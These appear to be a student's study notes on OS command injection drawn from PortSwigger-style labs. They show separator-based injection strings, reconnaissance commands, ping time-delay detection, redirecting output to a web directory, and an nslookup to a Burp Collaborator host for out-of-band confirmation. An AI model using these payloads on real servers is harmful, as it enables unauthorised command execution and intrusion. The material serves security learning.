OS Command Injection

Executing arbitrary commands

- The page executes a script to check whether a product is in stock. The script takes two arguments, which is where a command may be injected.

```
URL:        https://insecure-website.com/stockStatus?
productID=381&storeID=29
COMMAND:    stockreport.pl 381 29
INJECTION:  & echo aiwefwlguh &
EXECUTION:  stockreport.pl & echo aiwefwlguh & 29

OUTPUT:     Error - productID was not provided
            aiwefwlguh
            29: command not found

NOTE:       Line 1 shows that the script was executed.
            Line 2 shows that the `echo` command was executed.
            Line 3 shows that 29 was excuted as a command

IMPORTANT:  & or | can be used as command separator
```

Useful commands

1. Get name of current user

```
LINUX:    whoami
WINDOWS:  whoami
```

2. Get operating system

```
LINUX:    uname -a
WINDOWS:  ver
```

3. Get network configuration

```
LINUX:    ifconfig
WINDOWS:  ipconfig /all
```

4. Get network connections

```
LINUX:    netstat -an
WINDOWS:  netstat -an
```

5. Get running processes

```
LINUX:    ps -ef
WINDOWS:  tasklist
```

Blind OS command injection vulnerabilities

- Application does not return the output from the command
- An application could allow its users to submit feedback, where the server-side will take the users input and execute the `mail` command

```
mail -s "This site is great" -aFrom:peter@normal-user.net
feedback@vulnerable-website.com
```

- Techniques like using echo will not return any results

Detecting blind OS command injection using time delays

- `ping` command can be used to create a time delay

```
INJECTION:   & ping -c 10 127.0.0.1 &
```

Example:

```
PAYLOAD:    csrf=NHIfx68hTwEX55uGjyRivZuACA0N2nZL&name=a&email=a%
40gmail.com&subject=a&message=a
NOTE:       This payload is send to the server-side to be used as
arguments to send an email.
            A ping command could be injected into the email argument

INJECTION:  ||ping -c 10 127.0.0.1||
NOTE:       This command tries to ping localhost by sending 10 ICMP
packets
```

Exploiting blind OS command injection by redirecting output

```
INJECTION: & whoami > /var/www/static/whoami.txt &
possibly need to replace & with || or |

NOTE: /var/www/static represents the file directory of where images are
loaded from, or any
vulnerable filepath we know and can view. In the portswigger example it
was var/www/images

To view the whoami.txt, go to a link that loads and image and edit the
request in burp to
whoami.txt.
```

Exploiting blind OS command injection using out-of-band (OAST) techniques

```
INJECTION: ||nslookup+x.burpcollaborator.net||

NOTE: This should trigger a DNS lookup command, in a real world example
we would need to
go further and actually use the burpcollaborator client to verify the
DNS command was sent.
```